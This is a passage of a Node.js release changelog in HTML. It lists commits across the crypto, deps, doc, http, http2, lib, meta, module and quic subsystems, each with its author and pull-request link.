<li>[<a href="https://github.com/nodejs/node/commit/8c989ec4a3"><code>8c989ec4a3</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>inspector</strong>: expose precise coverage start to JS runtime (sangwook) <a href="https://github.com/nodejs/node/pull/63079" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63079/hovercard">#63079</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3f54c8ba32"><code>3f54c8ba32</code></a>] - <em><strong>Revert</strong></em> "<strong>stream</strong>: noop pause/resume on destroyed streams" (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/63834" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63834/hovercard">#63834</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/d3ef4122ee"><code>d3ef4122ee</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>buffer</strong>: increase Buffer.poolSize default to 64 KiB (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63597" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63597/hovercard">#63597</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9ff36e40f0"><code>9ff36e40f0</code></a>] - <strong>build</strong>: add --enable-all-experimentals build flag (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/62755" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62755/hovercard">#62755</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7c22ee23aa"><code>7c22ee23aa</code></a>] - <strong>build</strong>: def <code>NODE_USE_NODE_CODE_CACHE</code> only used in node_mksnapshot (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63588" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63588/hovercard">#63588</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2551abdb4a"><code>2551abdb4a</code></a>] - <strong>build,win</strong>: enable x64 PGO (Stefan Stojanovic) <a href="https://github.com/nodejs/node/pull/62761" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62761/hovercard">#62761</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e8a55ce9b1"><code>e8a55ce9b1</code></a>] - <strong>crypto</strong>: strengthen argument CHECKs in TurboSHAKE (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/62763" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62763/hovercard">#62763</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ae61cd68f3"><code>ae61cd68f3</code></a>] - <strong>crypto</strong>: harden WebCrypto against prototype pollution (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63363" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63363/hovercard">#63363</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3d05a1d396"><code>3d05a1d396</code></a>] - <strong>crypto</strong>: pass CryptoKey handles to KDF jobs (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63363" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63363/hovercard">#63363</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f9d10a3f6b"><code>f9d10a3f6b</code></a>] - <strong>crypto</strong>: remove async from WebCrypto methods (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63363" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63363/hovercard">#63363</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e431d93e9e"><code>e431d93e9e</code></a>] - <strong>crypto</strong>: add WebCrypto CryptoJob mode (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63363" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63363/hovercard">#63363</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/56e2505e48"><code>56e2505e48</code></a>] - <strong>crypto</strong>: wire ML-DSA and ML-KEM for use when using BoringSSL (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63255" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63255/hovercard">#63255</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3bac77f2a8"><code>3bac77f2a8</code></a>] - <strong>crypto</strong>: wire ChaCha20-Poly1305 in Web Cryptography when using BoringSSL (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63255" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63255/hovercard">#63255</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1bff901b09"><code>1bff901b09</code></a>] - <strong>crypto</strong>: wire AES-KW in Web Cryptography when using BoringSSL (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63255" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63255/hovercard">#63255</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4433fca3df"><code>4433fca3df</code></a>] - <strong>crypto</strong>: harden CryptoKey algorithm slots (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63111" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63111/hovercard">#63111</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b5cf01217a"><code>b5cf01217a</code></a>] - <strong>crypto</strong>: harden KeyObject internal slots (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63111" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63111/hovercard">#63111</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ce84aef37d"><code>ce84aef37d</code></a>] - <strong>crypto</strong>: add guards and adjust tests for BoringSSL (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62883" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62883/hovercard">#62883</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/26781689b0"><code>26781689b0</code></a>] - <strong>crypto</strong>: reject duplicate ML-KEM JWK key_ops (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62905" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62905/hovercard">#62905</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aeea8f4970"><code>aeea8f4970</code></a>] - <strong>crypto</strong>: add JWK support for ML-KEM and SLH-DSA key types (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62706" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62706/hovercard">#62706</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/407cf91656"><code>407cf91656</code></a>] - <strong>crypto</strong>: guard against size_t overflow on experimental 32-bit arch (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62626" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62626/hovercard">#62626</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bb2857b85a"><code>bb2857b85a</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: align key argument names in docs and error messages (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62527" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62527/hovercard">#62527</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b9d5e87880"><code>b9d5e87880</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: accept key data in crypto.diffieHellman() and cleanup DH jobs (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62527" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62527/hovercard">#62527</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b46d52b283"><code>b46d52b283</code></a>] - <strong>crypto</strong>: unify asymmetric key import through KeyObjectHandle::Init (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62499" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62499/hovercard">#62499</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ccd756d61e"><code>ccd756d61e</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: add TurboSHAKE and KangarooTwelve Web Cryptography algorithms (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62183" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62183/hovercard">#62183</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e07e7a31e1"><code>e07e7a31e1</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.123.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63527" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63527/hovercard">#63527</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/61826df455"><code>61826df455</code></a>] - <strong>crypto</strong>: coerce -0 keylen to +0 in pbkdf2 and scrypt (Jordan Harband) <a href="https://github.com/nodejs/node/pull/63531" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63531/hovercard">#63531</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/16d2fd3c07"><code>16d2fd3c07</code></a>] - <strong>crypto</strong>: align verifyOneShot accepted types (Anshika Jain) <a href="https://github.com/nodejs/node/pull/63280" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63280/hovercard">#63280</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3b8330deda"><code>3b8330deda</code></a>] - <strong>crypto</strong>: improve system certificate enumeration logic on macOS (Robo) <a href="https://github.com/nodejs/node/pull/62576" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62576/hovercard">#62576</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/141de35399"><code>141de35399</code></a>] - <strong>debugger</strong>: add --help to <code>node inspect</code> and improve docs (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63201" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63201/hovercard">#63201</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b76bfcd4fa"><code>b76bfcd4fa</code></a>] - <strong>deps</strong>: upgrade npm to 11.16.0 (npm team) <a href="https://github.com/nodejs/node/pull/63602" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63602/hovercard">#63602</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4ec142314c"><code>4ec142314c</code></a>] - <strong>deps</strong>: SQLite: cherry-pick b869ed6b067d623cb1383549f2a18aa35508385d (Junsu Han) <a href="https://github.com/nodejs/node/pull/63525" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63525/hovercard">#63525</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/19e8ce1c36"><code>19e8ce1c36</code></a>] - <strong>deps</strong>: upgrade npm to 11.15.0 (npm team) <a href="https://github.com/nodejs/node/pull/63463" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63463/hovercard">#63463</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8a264260e2"><code>8a264260e2</code></a>] - <strong>deps</strong>: update sqlite to 3.53.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63217" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63217/hovercard">#63217</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/50c8ff3f94"><code>50c8ff3f94</code></a>] - <strong>deps</strong>: update simdjson to 4.6.4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62811" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62811/hovercard">#62811</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6e56f01c4b"><code>6e56f01c4b</code></a>] - <strong>deps</strong>: V8: cherry-pick 435a2cdf664c (Matthias Liedtke) <a href="https://github.com/nodejs/node/pull/63136" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63136/hovercard">#63136</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3ba813b242"><code>3ba813b242</code></a>] - <strong>deps</strong>: cherry-pick <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/libuv/libuv/commit/a43e543/hovercard" href="https://github.com/libuv/libuv/commit/a43e543">libuv/libuv@<tt>a43e543</tt></a> (Ali Hassan) <a href="https://github.com/nodejs/node/pull/63222" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63222/hovercard">#63222</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2390e3a5ac"><code>2390e3a5ac</code></a>] - <strong>doc</strong>: remove duplicated sentences in large-pull-requests.md (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63650" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63650/hovercard">#63650</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/52a1c18374"><code>52a1c18374</code></a>] - <strong>doc</strong>: update <code>git node land</code> instructions for security releases (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63586" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63586/hovercard">#63586</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3e6b4da037"><code>3e6b4da037</code></a>] - <strong>doc</strong>: drop --experimental from --permission (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/63583" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63583/hovercard">#63583</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/84d05163b9"><code>84d05163b9</code></a>] - <strong>doc</strong>: explicitly ask for reproducible in JS (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/63479" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63479/hovercard">#63479</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7da2a4450e"><code>7da2a4450e</code></a>] - <strong>doc</strong>: fix URL postMessage example in worker_threads (Kit Dallege) <a href="https://github.com/nodejs/node/pull/62203" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62203/hovercard">#62203</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3d79bd8b29"><code>3d79bd8b29</code></a>] - <strong>doc</strong>: clarify <code>filter</code> option of <code>sqlite.database.applyChangeset</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63515" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63515/hovercard">#63515</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4f4174aace"><code>4f4174aace</code></a>] - <strong>doc</strong>: fix double spaces in ERR_TLS_INVALID_PROTOCOL_METHOD (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63511" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63511/hovercard">#63511</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/388323ca4b"><code>388323ca4b</code></a>] - <strong>doc</strong>: fix double space in modules.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63512" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63512/hovercard">#63512</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5258ccc058"><code>5258ccc058</code></a>] - <strong>doc</strong>: fix "options" to "option" in tls.createServer (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63453" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63453/hovercard">#63453</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/43e83e6507"><code>43e83e6507</code></a>] - <strong>doc</strong>: fix typo in deprecations (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63434" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63434/hovercard">#63434</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f05a61d54c"><code>f05a61d54c</code></a>] - <strong>doc</strong>: remove unsupported template type from v8.md (René) <a href="https://github.com/nodejs/node/pull/63410" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63410/hovercard">#63410</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c39d5fc820"><code>c39d5fc820</code></a>] - <strong>doc</strong>: fix article usage before vowel-sound acronyms (joao-oliveira-softtor) <a href="https://github.com/nodejs/node/pull/62696" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62696/hovercard">#62696</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/398261f911"><code>398261f911</code></a>] - <strong>doc</strong>: remove the bi-monthly contributor spotlight section (Claudio Wunder) <a href="https://github.com/nodejs/node/pull/62734" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62734/hovercard">#62734</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fd9e14c405"><code>fd9e14c405</code></a>] - <strong>doc</strong>: update http2's <code>push</code> and <code>trailers</code> events with <code>rawHeaders</code> param (YuSheng Chen) <a href="https://github.com/nodejs/node/pull/63259" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63259/hovercard">#63259</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b943ce6933"><code>b943ce6933</code></a>] - <strong>doc</strong>: remove inactive members from Triagers list (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63329" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63329/hovercard">#63329</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4b9cdfc022"><code>4b9cdfc022</code></a>] - <strong>doc</strong>: reference correct function in Module docs (Robin Malfait) <a href="https://github.com/nodejs/node/pull/63247" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63247/hovercard">#63247</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bed84b6df2"><code>bed84b6df2</code></a>] - <strong>doc</strong>: replace Visual Studio 2022 Evergreen version reference with 17.14 (Mike McCready) <a href="https://github.com/nodejs/node/pull/63211" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63211/hovercard">#63211</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/32ea70569b"><code>32ea70569b</code></a>] - <strong>doc</strong>: recommend explicitly Tier 1 or 2 for production applications (Mike McCready) <a href="https://github.com/nodejs/node/pull/63187" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63187/hovercard">#63187</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4627bcfd82"><code>4627bcfd82</code></a>] - <strong>doc</strong>: run license-builder (github-actions[bot]) <a href="https://github.com/nodejs/node/pull/63232" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63232/hovercard">#63232</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/28eba71845"><code>28eba71845</code></a>] - <strong>doc</strong>: add large pull requests contributing guide (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62829" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62829/hovercard">#62829</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2648efd438"><code>2648efd438</code></a>] - <strong>doc</strong>: remove unnecessary <code>&lt;!-- eslint-</code> magic comments (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63200" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63200/hovercard">#63200</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a95fc1f8fc"><code>a95fc1f8fc</code></a>] - <strong>doc</strong>: clarify SEA platform support excludes darwin-x64 (MJSHANG) <a href="https://github.com/nodejs/node/pull/63181" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63181/hovercard">#63181</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aaef29e2e1"><code>aaef29e2e1</code></a>] - <strong>doc</strong>: update release steps when post-release fails (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/63131" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63131/hovercard">#63131</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7d81419cf2"><code>7d81419cf2</code></a>] - <strong>doc</strong>: add Hmac.digest() documentation-only deprecation (DEP0206) (Anshika Jain) <a href="https://github.com/nodejs/node/pull/63121" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63121/hovercard">#63121</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ececd80d81"><code>ececd80d81</code></a>] - <strong>doc</strong>: document the latest-vX.x schema (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/63033" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63033/hovercard">#63033</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/27c1c1d842"><code>27c1c1d842</code></a>] - <strong>doc</strong>: remove list of versions in <code>BUILDING.md</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63113" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63113/hovercard">#63113</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e369886a65"><code>e369886a65</code></a>] - <strong>doc,sqlite</strong>: document entryPoint argument for loadExtension (Edy Silva) <a href="https://github.com/nodejs/node/pull/63152" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63152/hovercard">#63152</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e4e5137cbd"><code>e4e5137cbd</code></a>] - <strong>errors</strong>: handle V8 warnings in DisallowJavascriptExecutionScope (Divyanshu Sharma) <a href="https://github.com/nodejs/node/pull/63491" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63491/hovercard">#63491</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6d1f6048d2"><code>6d1f6048d2</code></a>] - <strong>fs</strong>: make <code>Date</code> properties on <code>Stats</code> enumerable (LiviaMedeiros) <a href="https://github.com/nodejs/node/pull/63328" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63328/hovercard">#63328</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/44c8ebcbd6"><code>44c8ebcbd6</code></a>] - <strong>http</strong>: avoid stream listeners on idle agent sockets (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64004" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64004/hovercard">#64004</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4c9251fc09"><code>4c9251fc09</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: add writeInformation to send arbitrary 1xx status codes (Tim Perry) <a href="https://github.com/nodejs/node/pull/63155" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63155/hovercard">#63155</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/39f61fb06c"><code>39f61fb06c</code></a>] - <strong>http2</strong>: emit session close before stream close (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63414" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63414/hovercard">#63414</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8a8f2127d1"><code>8a8f2127d1</code></a>] - <strong>http2</strong>: validate non-link headers in writeEarlyHints (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62017" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62017/hovercard">#62017</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8c989ec4a3"><code>8c989ec4a3</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>inspector</strong>: expose precise coverage start to JS runtime (sangwook) <a href="https://github.com/nodejs/node/pull/63079" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63079/hovercard">#63079</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c05f38229b"><code>c05f38229b</code></a>] - <strong>lib</strong>: cleanup stateless diffiehellman key handling (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62645" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62645/hovercard">#62645</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1c16b45d35"><code>1c16b45d35</code></a>] - <strong>lib</strong>: refactor internal webidl converters (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62979" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62979/hovercard">#62979</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/02f35d6dce"><code>02f35d6dce</code></a>] - <strong>lib</strong>: define <code>kEnumerableProperty</code> atomically (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63609" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63609/hovercard">#63609</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/12c51547ba"><code>12c51547ba</code></a>] - <strong>lib</strong>: fix typos in esm loader comments (RonGamzu) <a href="https://github.com/nodejs/node/pull/63465" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63465/hovercard">#63465</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9b03b84262"><code>9b03b84262</code></a>] - <strong>lib</strong>: fix typo idenity =&gt; identity (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63112" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63112/hovercard">#63112</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a84e6b0567"><code>a84e6b0567</code></a>] - <strong>lib</strong>: fixes validator message (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62823" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62823/hovercard">#62823</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/11734166a8"><code>11734166a8</code></a>] - <strong>lib</strong>: narrow ReadableStreamBYOBRequest.view return type to Uint8Array (RoomWithOutRoof) <a href="https://github.com/nodejs/node/pull/63017" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63017/hovercard">#63017</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7cead61d21"><code>7cead61d21</code></a>] - <strong>meta</strong>: flip mcollina emails in .mailmap (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63621" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63621/hovercard">#63621</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a08cfcfd35"><code>a08cfcfd35</code></a>] - <strong>meta</strong>: label "source maps" PRs (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63591" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63591/hovercard">#63591</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d56e8d2512"><code>d56e8d2512</code></a>] - <strong>meta</strong>: add <code>vfs</code> subsystem label (René) <a href="https://github.com/nodejs/node/pull/62331" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62331/hovercard">#62331</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6201cfe488"><code>6201cfe488</code></a>] - <strong>meta</strong>: skip scheduled workflows on forks (Jamie Magee) <a href="https://github.com/nodejs/node/pull/63565" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63565/hovercard">#63565</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f095e2bd31"><code>f095e2bd31</code></a>] - <strong>meta</strong>: add additional gitignore entries (James M Snell) <a href="https://github.com/nodejs/node/pull/63267" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63267/hovercard">#63267</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1ea52c444c"><code>1ea52c444c</code></a>] - <strong>meta</strong>: move one or more collaborators to emeritus (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63402" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63402/hovercard">#63402</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b1b2327611"><code>b1b2327611</code></a>] - <strong>meta</strong>: move one or more collaborators to emeritus (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63235" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63235/hovercard">#63235</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7d88e130a9"><code>7d88e130a9</code></a>] - <strong>meta</strong>: ignore AI assistants files (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62612" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62612/hovercard">#62612</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a53b51df38"><code>a53b51df38</code></a>] - <strong>module</strong>: load ESM helpers eagerly in the snapshot (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63550" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63550/hovercard">#63550</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/69df688fff"><code>69df688fff</code></a>] - <strong>module</strong>: fix sync hook short-circuit in require() in imported CJS (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62920" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62920/hovercard">#62920</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/75d9a4ed47"><code>75d9a4ed47</code></a>] - <strong>node-api</strong>: support SharedArrayBuffer in napi_create_typedarray (Yilong Li) <a href="https://github.com/nodejs/node/pull/62710" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62710/hovercard">#62710</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c20aa4c47b"><code>c20aa4c47b</code></a>] - <strong>quic</strong>: add reusePort option to QuicEndpoint (James M Snell) <a href="https://github.com/nodejs/node/pull/63267" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63267/hovercard">#63267</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/26a30d8a7f"><code>26a30d8a7f</code></a>] - <strong>quic</strong>: implement rate limiting for version nego and immediate close (James M Snell) <a href="https://github.com/nodejs/node/pull/63267" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63267/hovercard">#63267</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0b534b5770"><code>0b534b5770</code></a>] - <strong>quic</strong>: fixup linting issue after other changes (James M Snell) <a href="https://github.com/nodejs/node/pull/63267" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63267/hovercard">#63267</a></li>
